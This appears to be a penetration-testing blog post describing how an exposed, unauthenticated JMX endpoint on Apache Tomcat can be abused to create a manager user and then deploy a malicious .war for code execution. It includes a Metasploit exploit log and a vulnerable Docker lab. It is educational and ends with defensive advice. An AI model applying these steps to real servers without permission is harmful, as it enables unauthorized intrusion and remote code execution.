Exploiting Apache Tomcat via JMX
standard disclaimer: anything shown here is only to be used for education and research, or on networks/systems for which you've been give explicit permission to test -- hacking without permission is illegal.
- Motivation
- Prerequisites
- Why Not Just Exploit JMX?
- Reconfiguring the Server
- Try it out
- If You’re Defending
Motivation
Often on internal network pentests, you’ll come across an Apache Tomcat server. Usually access to the manager endpoint is restricted by network controls (requiring localhost access for example), but sometimes it’s left open.
If you find yourself unable to brute-force common tomcat default credentials, there may still be an avenue to exploit the server.
Prerequisites
The following configs are peculiar, but I’ve seen them in the wild:
- the /manager app isn’t restricted to the localhost
- jmx is exposed (with no auth)
- the tomcat user database is writable
Why Not Just Exploit JMX?
Good question! Abusing a no-auth JMX/RMI endpoint is easy with metasploit, however there are cases when the payloads aren’t working (classloader issues, host configuration weirdness, network limitations, etc.):
exploit(multi/misc/java_jmx_server) > run
[*] 127.0.0.1:8888 - Using URL: http://0.0.0.0:7777/SDgpPc
[*] 127.0.0.1:8888 - Local IP: http://192.168.1.123:7777/SDgpPc
[*] 127.0.0.1:8888 - Sending RMI Header...
[*] 127.0.0.1:8888 - Discovering the JMXRMI endpoint...
[+] 127.0.0.1:8888 - JMXRMI endpoint on 172.17.0.2:44803
[*] 127.0.0.1:8888 - Proceeding with handshake...
[+] 127.0.0.1:8888 - Handshake with JMX MBean server on 172.17.0.2:44803
[*] 127.0.0.1:8888 - Loading payload...
[*] Started bind TCP handler against 172.17.0.2:9999
[*] 127.0.0.1:8888 - Replied to request for mlet
[*] 127.0.0.1:8888 - Replied to request for payload JAR
[*] 127.0.0.1:8888 - Executing payload...
[*] 127.0.0.1:8888 - Replied to request for payload JAR
[-] 127.0.0.1:8888 - Exploit failed: Rex::Proto::Rmi::Exception javax.management.RuntimeMBeanException
[*] 127.0.0.1:8888 - Server stopped.
[*] Exploit completed, but no session was created.
… Or maybe you’re avoiding metasploit entirely and want to backdoor the server by hand? If you find yourself in this scenario getting in as an authenticated user is really easy without any special tooling.
Reconfiguring the Server
Connecting to the server via jconsole
we can execute some Tomcat-specific methods to let ourselves in.
If the UserDatabase is marked as writable = true
, readonly = false
, you’re in luck:
Under the UserDatabase node, we’re able to create new users. Let’s make one called tomcat
with the password of our choosing:
Let’s make sure we have the manager-gui role created on the server as well, so we’re fully authorized:
Moving to the Users
node in the tree we can associate our created user with our created role:
Once the configuration has been saved:
We’re able to enter our credentials on the /manager/html endpoint:
… and we’re in!
At this point we can get code-execution via the typical malicious .war upload, as detailed lots of places. Here for example.
Try it out
If you’d like to experiment with this, below is a Dockerfile which will spin up a tomcat server in the vulnerable configuration.
issue the following commands (from within the same directory as the Dockerfile
:
docker build -t t8 .
docker run -p 8888:8888 -p 8080:8080 t8
Once the container is running, you can visit the tomcat server on 127.0.0.1:8080 and interact with JMX (metasploit or jconsole, etc.) at 127.0.0.1:8888
Here’s the Dockerfile.
If You’re Defending
The heart of this attack lies in JMX. Developers often assume the JMX endpoints have no security implications and they copy+paste JVM args disabling authentication on them. Watch your network for no-auth JMX endpoints, and yell loudly if you find them. Unfortunately there aren’t very standard ports to look for, so you may need to try to detect them in deployment configs, or heavily firewall off non-standard ports so that a developer trying to expose one would trigger a change request and paper trail of some sort.